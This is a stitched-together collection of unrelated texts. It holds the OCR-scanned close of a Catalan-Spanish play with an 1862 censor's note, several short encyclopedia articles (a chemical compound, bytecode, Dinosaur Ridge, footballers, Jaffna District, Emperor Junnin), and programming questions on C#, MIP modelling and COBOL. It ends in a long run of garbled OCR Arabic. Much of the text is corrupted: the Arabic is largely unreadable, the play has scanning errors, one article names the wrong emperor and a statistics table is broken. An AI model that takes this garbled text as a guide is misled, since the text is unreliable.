And. Qué voldrà dir tant misteri/
D. Joan. Sabrán pues que don Pascual,
mitj any antes de morir
y de salut reventant,
á solas me crida un vespre
trobantse mòlt apurat •,
y demaná si podria
prestarli la cantitat
ele cinch cents cincuanta duros.
Jo no 'm trobaba ab caudal
per librarlo del apuro
en aquell moment,- no obstant,
per 1' amistat que leniam
vaig cridar dos meus companys,
y junts li férem la suma
que avuy venim á buscar-,
advertint que no surtim
de aquí sens haber cobrat,
y no podem lardar mes
26
que trema minuts contats,
ó sinó queda al hereu
caducada la heretat,-
així ho cantan los papers
firmats per la sua ma. (saca el reloj y que-
Sr. Tom. Jo no sò hereu. da mirando).
Cin. Jo tampoch.
D.a Ger. Ustedes repararán
D. Joan. Nosaltres no escoltem res.
Vintivuit minuts hi ha.
D. Mig. Atiendan que esto señores
es una barbaridad.
D. Joan. Vintisset.
And. Vostès escoltin,
joMs diré lo quefa1! cas.
ü. Pasc. Vimissis.
Todos. Por Dios señores
And. Atengan y així sabrán....
D.Joan. Vinticinch.
And. Qué tanta porra!
ja 'm comensan d' empipar,
sinó sen van á las bonas
liremlos escalavall.
D. Joan. Inútila resistencia
perqué venim preparats, (mostrando los
Vinlidos. (murmullos). palos).
D.*Ger. El testamento
no se ha declarado.
D. Joan. Bá !
tots han dit qu' eran hereus.
Mes: que estaban disputant
he sentit jo, de uns papers
que sòn probas capitals
que ha heretat un de voslés;
los papers no mentirán,
aixís puig, pague lo deute
aquell que 'ls tinga á la ma.
Seise.
27
D. "Ger. Yo! loma Miguel, (entregando /os papeles
d D Miguel).
D. Mig. No los quiero no, aquí están, (tirándolos en
la cesta de Jacinta).
Cin. Píenlos Ándreu que no'lsvull.
And. Jo tampoch: Senyor Tomás
aquí 'Is tè,- jo no sò hereu.
Sr. Tom. Jo menos.
D Mig. Usté será.... (a D.& Gertrudis).
D.a Ger. Todavía no lo soy.
D. Joan. Tretse.
Sr.Tom. Jo tampoch. Men vaig
senyores que tinch que fer.
ü. Joan. De aquí ningú surtirá.
Durante la confusión Antonio se habrá apode-
rado de los papeles y los habrá entrado dentro.
And. Si pugnés fer de las nievas...
Cin. Senyor notari sabrán —
D. Joan. Nosaltres no sabrém mes
sinó que debem cobrar.
D/Ger. Nosotros nada debemos.
D. Joan. Vostès ho volen negar?
ü. Mig. Protestamos.
D. Joan. Y no temen
quebrantántsa voluntat,
que 's aixequin de las tombas
los que ja están reposant?
And. Callin y déixinme á mi; (ap. à los demás).
vaig á fer un cop de cap.
Ja deurán saber vostès (á D. Juan).
per lo deute acreditar,
que 's necessitan papers
que sigan ben despatxats.
D.Joan. Mil gracias per la advertencia.
And. Com no Is hem vits....
D. Joan. Aquí están. (mostrando unos papeles).
Andrés arranca los papeles de las manos de don
Juan y se coloca entre los demás que le ocultan.
28
And. Ara sòn meus.
D. Joan. Insolent!
And. Que 'ns als tregan de las mans.
Si vol arreplegui 'Is trossos...
Todos. Bien.
And. Que quedan esqueixats.
D.a Ger. Devolvedme los papeles.
D. Mig. Los papeles, dónde están?
Todos. Los papeles, los papeles.
Ü.Joan. Ay de vosaltres ingrats!
de aquest fet donareu compte
devant de! interessat!
que si vos passa ab los vius,
entre morts no passarà.
Tornia puig del altre mon!
aixequis, senyor Pascual!
Todos. Ja, ja, ja. (risas).
Luce el resplandor de un rayo, suena el estampi-
do de un trueno y óyese un fuerte ruido de cadenas.
Sr. Tom. Qué succeheix!
l).a Ger. Qué es esto!
And. Qué está passant!
Cm. Desgraciats de nosaltres!
D. Mig. Yo tiemblo, yo muero.
slbrense á un tiempo todas las puertas, y aparecen
D. Pascual , con papeles en la mano, con man-
to blanco, y dos esqueletos con antorchas à la
puerta del centro del foro; á cada una de las otras
dos del mismo foro, aparece una sombra, una con
un reloj de arena , y otra con una guadaña; y
á las dos puertas laterales de los lados, aparece
un esqueleto á cada una con antorchas encendi-
das, barios esqueletos se reparten por la escena.
Todos. ¡¡¡Ahü! (grito de terror, todos se rebu-
llen, D. Miquel y D.* Gertrudis caen desmaya-
dos: cuadro general formando grupos).
D. Pasc. La divina omnipotencia
pecadors deSve murals
i>9
fiel alt empíreo judica
las culpas de los moríais;
y sois lo arrepentiment
sa justicia aplacará.
Qué sòm mortals en la terra?
¿que sòu en lo mon posáis,
sinó míseros insectes
pendents de la sua ma?
olvideu vanas quimeras
puig que ja la hora arribat,
y demanáu al senyor
perdó de vostres pecats.
Todos. ¡¡Ah!!
D. Pasc. Los papers de la herencia
están en la mia ma;
recullils qui se airevesca,
reclamaulos, aquí están.
Ant. Cá. Tothom se llama Pedro. (aparté).
!). Pasc. No vos clemostráu callats,
confessáu vostres delicies,
puig que jo tinch poder gran
duranlme lo privilegi
que lo altíssim me ha otorgat,
per redimir vostres culpas
y perdonar los pecats.
And. Jo vaig robar los papers
perqué 'm van mal consellar;
y ara he pres aquest rellotge
perqué he vist qu' era paral.
D-aGER. Yo he recogido estas joyas,
y ha sido mi único afán
para salvar á los hombres
librándolos de pecar.
Ant. Ja ha fet bè, perqué ab las donas (aparte).
lo pecat no pesa tant.
D. Mig. Estas alhajas señor
devuelvo... no puedo mas. (cae desmaya-
Cin. Jo tan sols ab los papers do).
30
confesso haberhi pres pari.
Sr. Tom. Jo retorno aquels cubcrts.
que no 'Is he pres per robar,
sinó per tenir memoria
del cusinet den Tomás.
D. Pasc. Recull Anton estas prendas
que per tú las guardarás,-
y vosaltres aixecauvos
que ja la farsa ha acabat.
Todos. Qué miro!
Cin. Viu!
Sr. Tom. Viu/
And. No ha mori!
D.a Ger. Tú no te has muerto Pascual?
1>. Pasc. No pas per ara germana.
No quedeu desconsolats;
Voleu recullir la herencia?
prompte vos la donaran.
Garreguéuvosla á la esquena,
que ningú vos la pendra.
(A una señal los esqueletos dan de palos d todos
los parientes.)
D.a Ger. Misericordia!
Cin. Sistencia...!
And. y Sr. Tom. Socorro!
D. Mig. Ay.' ay! ay/ á á á....'.r
D." Ger. y I). Mig. Perdón postrados pedimos, (ar-
Todos. Perdón, perdón! rodillàndose).
ü. Pasc. Basta ja.
Ipócritas, mals parents
que mort m' esteu desitjant,
del devant surtiume luego,
fora de aquí, esca la va II:
y si maldats ó vi lesas
convineu de aquí en avant
no olvideu que vos espía
LA SOMBRA DE DON PASCUAL.
Habiendo examinado esta pieza, no hallo inconve-
niente en que su representación sea autorizada. Ma-
drid 11 de Agosto 1862.
El Censor interino de teatros.
|
Cobalt(II,III) oxide is a chemical compound. It contains some (1 atom) cobalt in the +2 oxidation state and some (2 atoms) in the +3 oxidation state. Its chemical formula is Co3O4. It contains cobalt and oxide ions.
Properties
It is a black solid. It reacts with hydrochloric acid to make chlorine and cobalt(II) chloride.
Preparation
It is made when cobalt(II) oxide is heated to . When it is heated to , it turns back into cobalt(II) oxide.
Uses
It has been used in research for making hydrogen.
Safety
It is irritating to the skin. It can cause harm if swallowed. It dissolves in the stomach acid.
Related pages
Iron(II,III) oxide
Cobalt(III) oxide
Cobalt compounds
Oxides |
Bytecode, also termed portable code or p-code, is a form of instruction set designed for efficient execution by a software interpreter. Unlike human-readable source code, bytecodes are compact numeric codes, constants, and references (normally numeric addresses) that encode the result of compiler parsing and performing semantic analysis of things like type, scope, and nesting depths of program objects.
The name bytecode stems from instruction sets that have one-byte opcodes followed by optional parameters. Intermediate representations such as bytecode may be output by programming language implementations to ease interpretation, or it may be used to reduce hardware and operating system dependence by allowing the same code to run cross-platform, on different devices. Bytecode may often be either directly executed on a virtual machine (a p-code machine i.e., interpreter), or it may be further compiled into machine code for better performance.
Since bytecode instructions are processed by software, they may be arbitrarily complex, but are nonetheless often akin to traditional hardware instructions: virtual stack machines are the most common, but virtual register machines have been built also. Different parts may often be stored in separate files, similar to object modules, but dynamically loaded during execution.
Contents
1Execution
2Examples
3See also
4Notes
5References
Execution
A bytecode program may be executed by parsing and directly executing the instructions, one at a time. This kind of bytecode interpreter is very portable. Some systems, called dynamic translators, or just-in-time (JIT) compilers, translate bytecode into machine code as necessary at runtime. This makes the virtual machine hardware-specific but does not lose the portability of the bytecode. For example, Java and Smalltalk code is typically stored in bytecode format, which is typically then JIT compiled to translate the bytecode to machine code before execution. This introduces a delay before a program is run, when the bytecode is compiled to native machine code, but improves execution speed considerably compared to interpreting source code directly, normally by around an order of magnitude (10x).
Because of its performance advantage, today many language implementations execute a program in two phases, first compiling the source code into bytecode, and then passing the bytecode to the virtual machine. There are bytecode based virtual machines of this sort for Java, Raku, Python, PHP, Tcl, mawk and Forth (however, Forth is seldom compiled via bytecodes in this way, and its virtual machine is more generic instead). The implementation of Perl and Ruby 1.8 instead work by walking an abstract syntax tree representation derived from the source code.
More recently, the authors of V8 and Dart have challenged the notion that intermediate bytecode is needed for fast and efficient VM implementation. Both of these language implementations currently do direct JIT compiling from source code to machine code with no bytecode intermediary.
Examples
>>> import dis # "dis" - Disassembler of Python byte code into mnemonics.
>>> dis.dis('print("Hello, World!")')
1 0 LOAD_NAME 0 (print)
2 LOAD_CONST 0 ('Hello, World!')
4 CALL_FUNCTION 1
6 RETURN_VALUE
ActionScript executes in the ActionScript Virtual Machine (AVM), which is part of Flash Player and AIR. ActionScript code is typically transformed into bytecode format by a compiler. Examples of compilers include one built into Adobe Flash Professional and one built into Adobe Flash Builder and available in the Adobe Flex SDK.
Adobe Flash objects
BANCStar, originally bytecode for an interface-building tool but used also as a language
Berkeley Packet Filter
Byte Code Engineering Library
C to Java virtual machine compilers
CLISP implementation of Common Lisp used to compile only to bytecode for many years; however, now it also supports compiling to native code with the help of GNU lightning
CMUCL and Scieneer Common Lisp implementations of Common Lisp can compile either to native code or to bytecode, which is far more compact
Common Intermediate Language executed by Common Language Runtime, used by .NET Framework languages such as C#
Dalvik bytecode, designed for the Android platform, is executed by the Dalvik virtual machine
Dis bytecode, designed for the Inferno (operating system), is executed by the Dis virtual machine
EiffelStudio for the Eiffel programming language
EM, the Amsterdam Compiler Kit virtual machine used as an intermediate compiling language and as a modern bytecode language
GNU Emacs is a text editor with most of its functions implemented by Emacs Lisp, its built-in dialect of Lisp. These features are compiled into bytecode. This architecture allows users to customize the editor with a high level language, which after compiling into bytecode yields reasonable performance.
Embeddable Common Lisp implementation of Common Lisp can compile to bytecode or C code
Ericsson implementation of Erlang uses BEAM bytecodes
Icon and Unicon programming languages
Infocom used the Z-machine to make its software applications more portable
Java bytecode, which is executed by the Java virtual machine
ASM
BCEL
Javassist
JMangler
KEYB, the MS-DOS/PC DOS keyboard driver with its resource file KEYBOARD.SYS containing layout information and short p-code sequences executed by an interpreter inside the resident driver.
LSL, a scripting language used in virtual worlds compiles in bytecode running on a virtual machine. Second Life has the original Mono version, Inworldz developed the Phlox version.
Lua language uses a register-based bytecode virtual machine
m-code of the MATLAB language
Multiplan
O-code of the BCPL programming language
OCaml language optionally compiles to a compact bytecode form
p-code of UCSD Pascal implementation of the Pascal language
Parrot virtual machine
Pick BASIC also referred to as Data BASIC or MultiValue BASIC
The R environment for statistical computing offers a bytecode compiler through the compiler package, now standard with R version 2.13.0. It is possible to compile this version of R so that the base and recommended packages exploit this.
Pyramid 2000 adventure game
Scheme 48 implementation of Scheme using bytecode interpreter
Bytecodes of many implementations of the Smalltalk language
The Spin interpreter built into the Parallax Propeller microcontroller
The SQLite database engine translates SQL statements into a bespoke byte-code format.
SWEET16
Tcl
Tiny BASIC
Visual FoxPro compiles to bytecode
WebAssembly
YARV and Rubinius for Ruby
Computer programming
Programming languages |
Dinosaur Ridge is part of the Morrison Formation, just west of Denver.
The Dinosaur Ridge area is one of the world's most famous dinosaur fossil localities. In 1877, some of the best-known dinosaurs were found here, including Apatosaurus, Diplodocus, Stegosaurus, and Allosaurus.
In 1973, the area was recognized for its uniqueness as well as its historical and scientific significance when it was designated the Morrison Fossil Area National Natural Landmark by the National Park Service. In 1989, the Friends of Dinosaur Ridge formed to address increasing concerns regarding the preservation of the site and to offer educational programs on the area's resources.
The rocks on the west side of Dinosaur Ridge are part of the widespread Morrison Formation of Jurassic age. It is in these rocks, where Arthur Lakes discovered the dinosaur bones in 1877. Fifteen quarries were opened along the Dakota hogback in the Morrison area in search of these fossils.
The rocks on the east side of Dinosaur Ridge are part of the Cretaceous Dakota Formation. When Alameda Parkway was being constructed in 1937 to provide access to Red Rocks Park, workers discovered hundreds of dinosaur footprints. These were found to include mostly Iguanodon-like footprints. Carnivorous theropod tracks are also present.
The site features the Dinosaur Ridge Exhibit Hall with displays about the dinosaurs found at the site. Additionally, Dinosaur Ridge has interpretive signs at trail locations that explain the local geology, a volcanic ash bed, trace fossils, paleo-ecology, economic development of coal, oil and clay, and many other geologic and paleontological features.
References
Other websites
Friends of Dinosaur Ridge
Photos
Dinosaur Ridge Information
Colorado
Dinosaurs of North America
Museums in the United States |
<p>I am using a SoapExtension to log both the webservice request, response when an error occurs in a webservice. Both the request and response XMLDocument's have incorrect data. Can someone review the code to see what I could be doing wrong? If I am unable to centralize the changes in the SoapExtension, then I will go about adding logging code around each webservice endpoint. </p>
<pre><code> using System;
using System.IO;
using System.Web.Services.Protocols;
using System.Xml;
using Elmah;
public class ElmahSoapExtensionV2 : SoapExtension
{
private Stream oldStream;
private Stream newStream;
public static XmlDocument XmlRequest { get; private set; }
public static XmlDocument XmlResponse { get; private set; }
public override Stream ChainStream(Stream stream)
{
oldStream = stream;
newStream = new MemoryStream();
return newStream;
}
public override void ProcessMessage(SoapMessage soapMessage)
{
switch (soapMessage.Stage)
{
case SoapMessageStage.BeforeSerialize:
break;
case SoapMessageStage.AfterSerialize:
XmlRequest = GetSoapEnvelope(newStream);
if (soapMessage.Exception != null)
{
var exception = soapMessage.Exception.GetBaseException();
exception.Data.Add("SoapRequest", XmlRequest.OuterXml);
exception.Data.Add("SoapResponse", XmlResponse.OuterXml);
ErrorSignal.FromCurrentContext().Raise(exception);
}
CopyStream(newStream, oldStream);
break;
case SoapMessageStage.BeforeDeserialize:
CopyStream(oldStream, newStream);
XmlResponse = GetSoapEnvelope(newStream);
break;
case SoapMessageStage.AfterDeserialize:
break;
}
}
private static XmlDocument GetSoapEnvelope(Stream stream)
{
var xmlDocument = new XmlDocument();
stream.Position = 0;
var streamReader = new StreamReader(stream);
xmlDocument.LoadXml(streamReader.ReadToEnd());
stream.Position = 0;
return xmlDocument;
}
private static void CopyStream(Stream streamFrom, Stream streamTo)
{
var textReader = new StreamReader(streamFrom);
var textWriter = new StreamWriter(streamTo);
textWriter.WriteLine(textReader.ReadToEnd());
textWriter.Flush();
}
#region MyRegion
public override object GetInitializer(LogicalMethodInfo methodInfo, SoapExtensionAttribute attribute)
{
return null;
}
public override object GetInitializer(Type WebServiceType)
{
return null;
}
public override void Initialize(object initializer)
{
}
#endregion
}
</code></pre> |
Tomoyasu Naito (born 11 September 1986) is a Japanese football player. He has played for Fukushima United.
Club career statistics
|-
|2005||rowspan="2"|Nagoya Grampus Eight||rowspan="2"|J. League 1||0||0||0||0||0||0||0||0
|-
|2006||0||0||0||0||0||0||0||0
|-
|2007||Avispa Fukuoka||J. League 2||0||0||0||0||colspan="2"|-||0||0
|-
|2008||Montedio Yamagata||J. League 2||0||0||0||0||colspan="2"|-||0||0
|-
|2009||rowspan="2"|Fukushima United||rowspan="2"|Regional Leagues||14||0||3||0||colspan="2"|-||17||0
|-
|2010||||||||||||||||
14||0||3||0||0||0||17||0
14||0||3||0||0||0||17||0
|}
References
1986 births
Living people
Footballers from Kanagawa Prefecture |
Arnošt Pazdera (16 September 1929 – 27 October 2021) was a Czech footballer. He played in 19 games for the Czechoslovakia national football team from 1952 to 1958.
Pazdera died on 27 October 2021, aged 92.
References
1929 births
2021 deaths
Czech footballers |
<p>Can someone model this MIP problem? I could not think of a way to model the constraint "all balls of the same color has to be in consecutive locations"</p>
<p>Problem description:</p>
<pre><code>There are 10 locations: 1 to 10, loc 1 worth $1, loc 2 worth $2 ... loc 10 worth $10
There are 10 balls: b1 to b10
There are 3 colors: red, green, blue. red worth $3, green worth $2, blue worth $1
assign each ball to a color and a distinctive location so that:
all balls of the same color are next to each other in consecutive locations. for example, all red balls take location 4,5,6 is ok, but not 4,5,8
no color can be assigned to more than 4 balls
each color has to be assigned to at least 1 ball
ball in a location is worth $color * $loc, for example, red ball in loc 5 = $3 * $5 = $15
maximize total worth of the assignment
</code></pre>
<p>Obviously the solution is: blue, blue, green, green, green, green, red, red, red, red</p>
<p>This is an illustrative problem to see how to model consecutive constraint in mip.</p>
<p>I have following opl program without even the neighboring constraint, it takes very long, for such a small problem, what did I do wrong?</p>
<pre><code>range locations = 1..10;
int nbcolors=3;
int reward[l in locations]=l;
range colors=1..nbcolors;
string colorNames[colors]=["blue","green","red"];
dvar boolean assign[colors][locations];
dexpr int color[l in locations] = sum(c in colors) assign[c][l] * c;
dexpr int totalworth=sum(l in locations) color[l]*reward[l];
maximize totalworth;
subject to
{
//each location assigned once
forall(l in locations) sum(c in colors) assign[c][l] == 1;
// no color can be assigned to more than 4 balls
forall(c in colors) sum(l in locations) assign[c][l] <= 4;
//each color has to be assigned to at least 1 ball
forall(c in colors) sum(l in locations) assign[c][l] >= 1;
}
</code></pre>
<p>Thanks for your help.</p> |
Jaffna District ( ; ) is one of the 25 districts of Sri Lanka. Districts are the second level of administrative division of the country. The capital of the district is the city of Jaffna.
Administrative units
Jaffna District is divided into 15 Divisional Secretary's Division (DS Divisions), each headed by a Divisional Secretary (previously known as an Assistant Government Agent). The DS Divisions are further sub-divided into 435 Grama Niladhari Divisions (GN Divisions).
References
Other websites |
<p>I want to specify a single byte area in linkage section. Program A could call program B as</p>
<pre><code>call 'PROGB' using mycopybook
</code></pre>
<p>where mycopybook could be 500 bytes one time, 2000 bytes the next time etc etc.</p>
<p>A "simple" way around avoiding the need to know/reserve the maximum number of bytes expected in the linkage section in program B is to define it as ONE byte (after all, program B's linkage section is only a pointer to mycopybook in memory, neither more nor less).
Trouble is, when I try and compile program B using the following</p>
<pre><code>LINKAGE SECTION.
01 copybook-1 pic x.
procedure division using copybook-1.
display 'First 4 bytes passed in 'copybook-1(1:4)
</code></pre>
<p>I get a compilation error.</p>
<p>progent.cbl: 113: error: length of 'copybook-1' out of bounds: 4</p>
<p>Is there some COBC parameter that is the equivalent of NOSSRANGE?</p>
<p>(FWIW, In Micro Focus' Mainframe Express, the default where I worked was SSRANGE, so I had to set NOSSRANGE specifically for the example above, but after that there was no problem)</p> |
was the 47th emperor of Japan, according to the traditional order of succession. His reign started in 758 and ended in 764.
Traditional narrative
Before he became the monarch, this prince's personal name (imina) was Ōi-shinnō (Ōi-no-ō). The posthumous name of Emperor Junnin was given by Emperor Meiji.
He was the seventh son of Prince Toneri, a son of Emperor Temmu. His father died when he was at the age of three, and he was given no rank nor office of the court.
In the older Japanese documents, he was often referred as the .
Events of Junnin's life
His fate was changed in 757 when Empress Kōken named him as her heir (crown prince).
7 September 758 (Tenpyō-shōhō 2, 1st day of the 8th month): In the 10th year of Kōken's reign, the empress abdicated. The succession (senso) was received by her adopted son. Then Emperor Jimmu is said to have acceded to the throne (sokui). This was confirmed in ceremonies.
760 (Tenpyō-hōji 4): New coins were minted.
764 (Tenpyō-hōji 8): Junnnin was sent in exile to Awaji.
10 November 765 (Tenpyō-jingo 1, 23rd Day of the 10th Month): Former Emperor Junnin died in exile.
Junnin caused grain storage centers (Jōheisō) to be established in the provinces. The government stored rice from the years of good harvests. This rice was used to control higher prices when harvests of rice were not good. The Jōheisō were abolished during the Kamakura period.
After his death
The actual site of Junnin's grave is known. This emperor is traditionally venerated at a memorial Shinto shrine (misasagi) at Awaji.
The Imperial Household Agency designates this location as Junnin's mausoleum. It is formally named Awaji no misasagi.
In 1870, Emperor Meiji conferred the posthumous name and title by which he is now known.
Era of Junnin's reign
The years of Junnin's reign are identified by a single era name.
Tenpyō-hōji (758-765)
Related pages
Emperor of Japan
List of emperors of Japan
Japanese imperial family tree
References
Emperors of Japan
733 births
765 deaths |
ا ا
4
3
7
عتطه د11 ده عمتغوعم عتطوعة حسف
قصم ناه اقطهة
101151 1-
01
100.
الهم
1111 072 021117
211511
0 ,ته ]6ر171 ,مه كلا ماده
لإاموء ناد 1
طمتعاسه"1' طفتمد 5
1]
41451
.1 ,028111 .011 ,111 .611 06-. قل
: 11771هرآ- تقش مادم معدس ]11
0001
سسطامه فاعصتة صذ معتجمع!ا 258 دده عاغتد ,رقصملاهةةمصصة له
كه 1160 660ل
11
0 ,2111011:0 درها “1767ه16 : .<.ه 1747
10ام1[مه 20
010
صخط 11
214
-
اتوص ترد درسب ددسي
برسي ين
ياو جوو م سب سم جد وبا جع بح معن برسي يضيض بلاق امد ببدم
وجيف مون يما نه سوس م مور ديات 2
ُو
0
ا ا ل سد بس سس سا2 76
لير ما عو اموه وا يؤل ف بسواعا
0 9 ر و0
لاا
سر م
١
١ 27 اح 7
|. صلوات دو علو وسشلامة
| جا يدور
ا
2
١
ا ا ل ع اع 4 , 3 ||
ا بي 5 25نس راو سهين سس صن دس )|
ا مناعان طالِيا _-. تاحد أعطاه الل شت قف ب ذا ظ
١ ا(
المع ,2 31 أ
ا 5 س8 سس يس 2 زرح سس ار ل ل 8 :
ا ع رجسديغد يوا 1 للا م ام ك1
أ > إستحآ
ظ
1
ب دس بج
به
7
لها
تتبمق 3 ولت
1 0 م
ا عضلم فبك سى لات"
[ فشي سموددد وول فى
32-1 58 9 ا '
م أب فب سرد أو لماز توت
اعرشيذه 00 ا
و سر وول ا ماق 03
يرهم ماى 2ل مصطقئ عكرت د
ا ل ا ا 0 ا
ا امت وده هيم اما خها
١
اا 0#
7 يلعلو الْسَكك رده ععَيواما و1 |
بك ا عه لوده كبلك |
ا
١
امام ب تدرا ت]ى ددست |
0-7
ا كيد ل
مََكِدسنَ مام ين ا
2
2
كي 1
م عر م 20 1
عكافيايم ما ا 0
١ , / 722 0 2
ةي 1 0 ٍ
' و
2 00 2 -
مارم فإ إبله ماما ولؤراكصورسان
4 سه
ا 700 مه
1 مسر
ا ا 0
ا فنك عماج واددد مارك مقا ندد|
: 4
م 5 م 7 د
ور
| بسكو ارا مازك ماخ بد سيد مت
[ ا عر 0
أكون مِْجددها لارضك ناب الس ||
00 محر سه 2 سس ١.
ار ره وهار ف كينا م[
| َه 17 ب"
0 اذه حريض يا فإ استين 0
ا
0" 0 و 6 سسا سمل
نيديد تمان باعل
حب
ولوب والككانء ا
ا اط رياص
ا ليبوم 6 |
0 ىت
ل ل 202 1
امد 0
١
0
ا
(1
لد ور ا ا 000
[ الايجورْضَلات: معهااد أ
ا صوصب وان لاسا
لمق
ويه لك كس 6 |
أو له ْ
00
الو كدري ولحاي مكو وخأ ظ
ظ جب وَبوَلٍ ل لتبزمتته 5
5
٠. عاق
0
م
ن2
سد را 22 0
اولطن فإن كات عزيدي ضار به |
اهس سا ا 7 ك0 000 ا
اأومككام ررم قذيالددت اا لِتعال
ْ 7 جره اباو حل ا 0
مزاللكيناركا سنارف يكز من فدد|
]اسه ه ام اس ل ل لل ير ا
عا لكي لاوز صلا تم مَمَهَا هوا لْدَالِثْ
52
- -
اذ[ ذز[ [ 0/1 211111 ساي اما 5
سرا لعورة وعورة الرجزمنا لسرة !لالز ١
3 د حت ا ل وود لام يأ
6 2 0 1
والركبة عورة من لعورة وَبَدنا لدع لكر
١ ححخهاعودة الأوجره ركه وَعدَسبها|
انام مايل به 1 ند
دَانتَاو سمسرك مون ملؤذ
لمرو اليكوا سك باب ك4 |
5
ا
ا
ا
ليخليت 2 5-5 هت : : -
ألما ستاك دق ١
72
ا 0
أو شولا 1
2 امن من لكان ار
اس سام 0 ص 0 ا 2
4 8 امن
0 فَاْصَّلاةِ وت اريعسرَها لوك
ا لبإظاساة
ةالو يكن الايد ح
' وَألتَاحَضملسْودوَاكِمَاِمَا #والتَايِت
| - ل سار 1 ماه سر و0 ا
إرعاية عَلدَئييه الداع التعنة ا |
أ 2 وم وز ا
ْ راكذا لشي ْ
5-5 5
5
2١
52-6
1
1
3
د ا
0
١ 5
5 5
يف 5
0
0#
اها
2
عع
2 ا ام مه
0 ط و62 اصداف امه سما أ
|أجهدالواءة تكياتالميدين غير فيمنا |
ا -ه - ١ و 2 أ
| 1 2 و ميدي 2 دج سار ١
لمعيه والماشراخاضه تمايحامتفيد
ره ا 0 سس ا
أوالحاد ىعس ع شّدي ل لاركان 2 عسر)
0 اس ع سك 0
إصابة لظ الْسَّليمِ ©ومن سرك شيا من َ من |
امزوالو وعبات المدكوية إنكات ساهيا
أ روو سه سر 21 رو
|ابلرصة كين الْسَّمُووَاد كان عامكا لأيجبا
عل 6 4 لوا سم وار ات ري 5 ا
لوس لكل يكون صَلا معنا لمان |
ل و 2 1
ات 1 علدا
الح ح عي 2
-7
روسروعور 4
سان ل ا
ابن تتص يواد ]ا
4 0
امد م اي و َع ولا ا
لس سر وَاليَِثَ «الشناء
-
لير التي نائر
١
امك ركمة لاوش وا "لمارا
ظ اع 00 لوز 0
ا ااا
١
000
1 2 ل 0 ا ع
0000 د
2 7
47 ارده
لصت مه و واألعاشرصطالطه
- معحب 2 مم
ْ ل د و" «عصدسة سي لكوع
تويكوا 26 0 60
ا تلشأوهو 00-0 الناشية
5-8 2-7
ا
9 بع عرد رفع ذا وص كوج
اس 7-22 ا 0
اح عدي لله يك
2 قو بالقدهديرا 2 نح 7 |
ام سم و 6 دَاعك)ا
او ادا عش تميدعند سْبْوائْه قا
سي رس ست س0 5-0 ----00 ا
2
|فسمول رد حال ليد
ا 5 , 1 4 مت 8 ا
ا نايصع ركبمية دع لمعيه ا
2 5 : 0
ء 01 ف عَسسَرَاك ب انهم 3 5-7 لارضٍ|
0 ل ل 0
جد قصع نيدو بوبه أ صايم يجيد ا
ل سا0 3 اا ل ل ا راز ١
0 وو فيه كا أ
6
2 ا 1 ا 6 2
ا سَحَهَالِصَكَان وحاأخ بطته بده عن فى ذ:
وهنا
ع 0 -ه 0
تت
| زح ١
اسك شب طمت رحج
أنه مريِصة فا سمو رهوا لْسَادس 3
| ل وسه 0 23س د ةذ 2
ار ع عَشَرَان يضع ا دئه
-ه
2 يي ع
وسح د نافرع لاني جَادَ
ا 1 0 او تسم
عد الاحنيفة جه الله ول قالانوبوسف
و ور وال ساد ع لكي إلا
اوامادضط : المّدمن ' فعّدد حك لت 211 ْ أ
ا :
ا م وم سب رس سكا مس ا
أن بخ وجهة بِبِنَكفْروويد ير جناء "١
0 معدن وا لصو 1101 ار
0 ا ١ اكت كد
0 ُُ 7
ب -ذظ
أ
1 ' 5-0 عر 7د 1 5 1 م
ملع عابط ولج جود
ا ل[ اله 2
ا 1 ا الاي تع ولك 0 ل
م 3 ل د م رس سر 0
ب ا / 21 ب هذا اطباتٌ :جا بس كعر |
22 اصلكده او ف اس ا 120 سما ما
1 يرْبدعع| لذلن دا
-ه
د
9
سس 9 سس 0 م 2000
نارغ الاسم عكر فَاذا اطمات|
0 0# ده تس ذم |
سجر قا راد ان جسسوك فاع |" نّلايمعد '
٠
يسود بيذي ع1 لانهروا لمشن تك |
١
ا 0 ا ل ا 1
ا
ا
ككل دن يفت سرجه الراك
أم و مره اصدصده 7 3 6ه وصما|
ولعو ود بسصِسبيساه و| ولكاد وا سرون
6 0 2000 ع
ونان وه جر |
اوها له شرو ن أن د ات 8
رم
عب
-
لصن أوََالدِيَوالموَْويْدفيَكوا
عن نوسي نه عله و أن عَبوكسَن 1
- 0
اشع ارد انع واليشروت ان توك
ا م 0
ع ع الل
ساك اص عه
|والحفظلوَان
' 0 2 ْ
0_0 ا
أن مس يلصن يبن وح يك بأد
ظ لمي ساو ميو ذإ بابننما
١ ان د
م 0 0
١
امسلل
لاني 5-7
5 حرا كس من مدر
ا لفكو نازوا
77 0 ةا
2 م اا سس سك سا صا اه |
71 3
جرد سس سر سس سا9 يي و ا
بين كدهه من كب (عهورسه معد راردمه
أمَرمَين 3 0
وَالسَامم تطال علص ؤَاليمء
وآ 3
َ
ْ ا
كه
2
لت سس لل
ماص ا
6 + 2 ني سي
0
3 م رس س7
يها وضع ع1 27
0-6 0 كك
0
20 1
007 اباي
دن اسدره رهم -
في ل يتات .
2
حر
الك فلودا اح باخقامر ْ
اذا
عه مم م
ما ولافح
7 م 0 0
ولع لايك
اوت سطهر لي ]|
ملكي أي دامر نينبلا ١
|
1
١
ود ساود ولكادى عشرَةً! ينا
ا
عدي والسَادس تل 0 موض اليد 8
ايع الود َاكورِحِسَامِِ ِاوْهآضْلَ
0 ا 0 2
يوالم اوظهيء ٠ يلها لسر فل شا
يلعبمتوء من به أو بون اويُسكرة |
2
سكي 7 7 و2
لان لكيه سود ل
-ه
ا
اق عقوتيو (
ا د
م 2
0 او مه |
خلءااضى وخ ل دثينه وفرجة
017
اه
0 لوجاك :
0
200 ره وم| 1
| ملام : ا
0
! هه وأ
١ 0 اي
ا ره ا [
2 77 2 1
البحكاء من منفجم أومصيبة
70
0
ا رسنس 1
وانثا عَشَرَالْهقَهه قرام 0
١ 00 اي اه
ينا لصَّة سوا كا للها عا
ا 0
ا 5
ؤ 000007 امرفقن|
0 اط ل و
7 ميلد تسر الْامَدا
يوساو بكب ف إنم ضوع ا
راسو اناب ةنا سل
اح عدي مك شناوجة|
2 0 لس 21
من ارد ميحر وصوه ب
١ انقب يننا
اك
3
1
9
الوا وحار
207
0
مالباله
تراب
١ ايساد وألمبا لمه شم
سين يما له 2
ا ار 1
ا تا
0 ود عضاو
١١| مدص 0
مما سده
ةا حَجألاء منجارب
8
واه كراتاء
١ مرك سا 0 ويم سور
م
لني انايج انا
لغاش الول واد ريا
ير
سملي لضا و
اح بالود لم والمبا لقا ال
0 تج
سمَاري يماود اولمع ليد
00
0
سل
1
و( ماده و
لتعشر|
[ 9-6 0 ل
ْ 0 دنا ١ ك1 م ع
لاا 6 لتنا لْصصَةءا سناد
